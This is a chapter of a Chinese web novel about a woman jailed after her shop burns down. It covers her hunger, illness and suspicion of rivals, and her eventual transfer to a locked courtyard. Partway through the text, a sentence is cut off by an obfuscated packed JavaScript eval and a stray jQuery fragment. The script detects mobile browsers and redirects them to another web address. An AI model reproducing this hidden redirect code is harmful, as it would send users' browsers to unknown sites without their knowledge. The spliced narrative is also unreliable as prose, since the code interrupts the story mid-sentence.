111. 第 111 章

作品:《屏屏的种田日常

    当天夜里,盛屏在老鼠的啃咬声中久久无法入睡,脑子里乱得很。


    铺子着火,她明明是受害者,结果反而被抓了进来,一路上衙差嘴紧,她什么都问不出来。


    傍晚时被关进牢里,也没人给她送饭,挨饿受怕,胡思乱想,使得她头痛欲裂,好不容易捱到第二天早上,以为起码有一碗粥水,可是半个上午过去了,都没人过来问过她一句。


    就在她饥肠辘辘,头晕眼花之时,牢门开了,进来一个膀大腰圆的妇人,隔着木门在地上放下两只碗又走了。


    盛屏凑近一看,是一碗清水和一个馒头,这时候也顾不上干净不干净,三两口就着水把馒头吃了,缓了会儿,恢复了力气,她靠在墙壁上,勉强有了神智,开始思考火灾一事的来龙去脉。


    显然,她被针对了。


    如果是意外,那么她不会被抓,这明显是个局,要她损失惨重,又要她身入囹圄,谁能对她下这样的手?除了蒋家和王家她想不出别的仇人。


    蒋家主要是王兰香,这个女人从蒋莲病亡要抓她浸猪笼时就疯了,而后做出些意想不到的事来,再正常不过。


    王家这边王英的妻子柳氏嫌疑最大,她进门五年,未能怀孕,婆婆不喜,百般刁难,她伏低做小,亲自帮丈夫挑选妾室,大度贤良,可那些小妾却没有一个怀孕的,搞得府里的人都以为怀不上孩子是王英的问题,偏偏那时候原主怀孕了,她手脚麻利,先让婆婆发现王英和原主的关系,又瞒下原主已经怀孕的事,让婆婆为了家族名声将原主扫地出门。


    等到原主回娘家以后,又上门挑衅,甚至亲手给了她打胎药。


    这些记忆随着她跟王英的接触出现在她的脑海里,原主心灰意冷,丢了打胎药,转头偷拿了家里的老鼠药,在嫁给蒋鹭当天吃了下去。


    现在想来当时的痛似乎还隐隐存在。


    由于来了万山镇以后,盛屏没有跟柳氏接触过,不知道她对她到底是何种态度,但恨她是可以肯定的,仇恨的力量太强大,能轻易蒙蔽人的心智,若她真做出这种事,也不足为奇。


    饿了一天一夜,一个馒头实在不顶饿,盛屏的肚子叽叽咕咕地叫起来,她无奈地把双手放在肚子上,脑子里默想各种好吃的好喝的,企图达到望梅止渴的效果。


    牢里没有窗户,光线就靠外头墙壁上的几盏油灯,无法准确的判断时间,但盛屏还是根据牢里送饭的频率,推算出大概时间,然后她就更无语了。


    这牢里关的人很少,所以送饭动静不大,昨天许是太累了她没有注意到,其实是有人一天两顿的往里送饭的,这时她有了点儿力气,知道了这件事,然后就是绝望,给别人两顿饭,到她这里就是一顿饭,还只有一个馒头一碗水,她这是被人打点过,要受磋磨了?


    若是在牢里待个十天半个月,她还能活下来吗?


    她打算等下一次送饭人来时,跟她商量一下。


    虽然进来时被搜了身,身上没什么值钱的东西了,但是蒋鹭总不会不管他,他一定在外头为她奔波,搞不好也求过牢头,只是一时半会儿未得其法。


    盛屏只能这样殷切的盼望着,转天有人来了,就在她坐直身体,打起精神,想跟来人好好沟通一番时,看到来人手里提着食盒,拿了草席和被子,打开牢门,把东西放在地上,随后一言不发的锁上门走了。


    盛屏揭开食盒,里头是肉糜粥、白馒头和一碗红烧肉,盛屏吃了一口,尝出这是王秋云的手艺时,眼泪落了下来,她就知道她不是孤立无援的。


    馒头吃了一半,里头有张纸条,她赶忙打开一看,是王秋云写的,让她放心,蒋鹭在想办法。


    盛屏抹干眼泪,大口吃饭,喂饱自己以后,扯秸秆记天数。


    一连十天,盛屏每天都能吃到王秋云做的饭菜,虽然无法见人,但在精神上还是受了鼓励。


    她每天都会在小小的牢房里蹦跳运动,保持身体健康,夜里睡觉时,也蒙头盖脚,努力着不让老鼠咬自己。


    在焦急等待的同时,她也每天想办法跟送饭的大娘套近乎,可大娘是个铁面阎王,放下东西就走,既不搭她的话,也不乱看,弄得她忐忑不已。


    本身在湿冷的牢里睡觉就很不容易了,加上心中的忧惧,让她时常惊醒,或是噩梦连连,她老是梦到自己突然被人叫醒,被拖去审问,她嘴硬不说话,跟着烧红的烙铁就落到了她身上,皮肉烧焦的味道与那日大火中空气弥漫的味道融合,扼住了她的咽喉,让她恐惧、无助又无法逃脱。


    盛屏在一天天的静默中,从一开始的心慌、强制冷静,到些许安慰、努力想法子,再到当前的失望、破罐子破摔,而这才过去半个月。


    半个月的时间说长不长,说短不短,就是羁押也该受审了,可是外头就是没有一点儿动静,这天盛屏纠结良久还是决定做点儿改变。


    因为不在沉默中爆发那就只能等死了,与其等死不如先爆发看看,兴许还能有一线生机。


    趁着大娘送饭,盛屏一个暴跳起身,打算抓住大娘的胳膊,无论如何要跟她说上话,谁知大娘却是个身手矫健的,一个侧身就给了她一个过肩摔,而后快速闪身出门,将牢门锁上,全程一声不吭。


    盛屏摔得厉害,浑身快要裂开了,一时半会儿连起身的力气都没有,她索性趴在地上,默默流泪,怎么会这么惨,饭都能送进来,人却见不到,以前电视剧里的牢头不是话痨就是热心肠,总之会助主角一臂之力,怎么她遇到的这个大娘就这么不近人情?


    难不成真要死在这里?


    盛屏心情很复杂,判她死刑,她还能知道终结自己的日期,也比这样沉默关押,盼不到日出日落来得好。


    夜深了,昏暗的牢房里,传出老鼠窸窸窣窣的声音,空气里弥漫着一股受潮发霉的气息,一缕缕的往盛屏鼻子里钻,而她已经在地上趴了大半天了。


    身上的疼痛过去以后,冷热感又袭来,一波波的没完没了,盛屏后知后觉摸自己的额头,果然在发热,她不敢拿自己的身体开玩笑,撑着地赶紧坐起来,打开食盒,将已经凉透的食物慢慢吃进去,而后裹着被子躺下休息。


    眼皮很重,重得几乎抬不起来,盛屏只得放任不管,渐渐昏睡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231060|155811||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过去,直到被子被人扯开,后背挨了两巴掌,她在昏沉迷糊的意识里醒来,努力睁眼去看来人,是大娘。


    “吃饭。”


    盛屏有点儿激动,这么多天,大娘终于愿意说话了,虽然只有两个字。


    “大娘,外头可有人想见我?”


    大娘没说话,将食盒打开,从里面拿出一个小陶壶,“喝药。”


    盛屏摇头拒绝,被大娘按住头灌了进去,一股浓郁的姜味儿在嘴里散开。


    盛屏呛得直咳嗽,大娘灌完姜汤,又抓着盛屏往食盒那儿拖,“吃饭。”


    不想再被强灌的盛屏,这次学乖了,主动地拿起筷子吃饭。


    大娘没有离开,直到她吃完了饭,才将食盒收拾好拿走离开。


    盛屏被强灌了一碗姜汤,又吃了一碗米饭,头重脚轻,肚子也难受,躺在地上好半天没有动。


    这样的日子过了三天,牢里越来越冷,地面出现了积水,把秸秆打湿了,盛屏没法子,只能披着棉被靠墙休息。


    身体越来越难受,支撑不住终究还是滑落在地上,接触到地面的那瞬间,冷冰冰的水穿过衣服贴着她皮肤让她意识逐渐模糊。


    不知过了多久,盛屏醒了,她脑袋都迷糊了,一时分不清自己身处何地,颤抖着手在地上划拉了一次又一次,在碰到一个毛茸茸的温热物体时一下子清醒过来。


    盛屏硬撑着从地上爬起来,艰难挪动到门前,用仅剩的力气拍打牢门。


    门上的锁发出叮叮零零的声音,在安静的牢里动静显得格外大,好半天,盛屏才听到了人声和脚步声。


    听着离自己越来越近的声音,盛屏手上的力气加重了些,终于,人到了她跟前,隔着木门,盛屏抬眼看,并不是每天送饭的大娘,而是两名衙差,他们看盛屏的眼神很冷。


    “我要见县令。”


    两名衙差抱胸冷眼看她,不言不语。


    盛屏感到不对劲,她把声音提高了些,“我要见县令。”


    其中一名衙差慢悠悠取出腰间的钥匙把门锁打开。


    门开了,外头两个人没有动,盛屏也不敢轻举妄动,她弄不清这两人到底是为何而来。


    就在三人沉默对峙时,急促地脚步声由远及近,在人到来时,衙差已经把牢门打开,把盛屏提溜出来了。


    江文志看她神智还算清醒,松了一口气,“走吧。”


    盛屏被衙差拖拽着出了幽暗潮湿的地牢,但也没有被放,只是又被关进了一间院子,门照样锁着,也依然有人送饭,饭菜一看就是王秋云准备的,这让盛屏稍微放了点儿心。


    在潮湿地牢关了半个月,伤寒咳嗽是必然的,好在有大夫来看过,给她开了药方子,也有人送药,一天三顿的比送饭还及时,还监督着看起亲口她喝完才走。


    盛屏没法判断这药里有没有被下药,她只知道她不能不喝,配合点儿还能少受点儿苦。


    一晃半个月过去了,盛屏身体好多了,加上每天能吃饱饭,睡好觉,精神上也不再苦闷,除了无人与她说话,无法得知外头的消息,其他都好。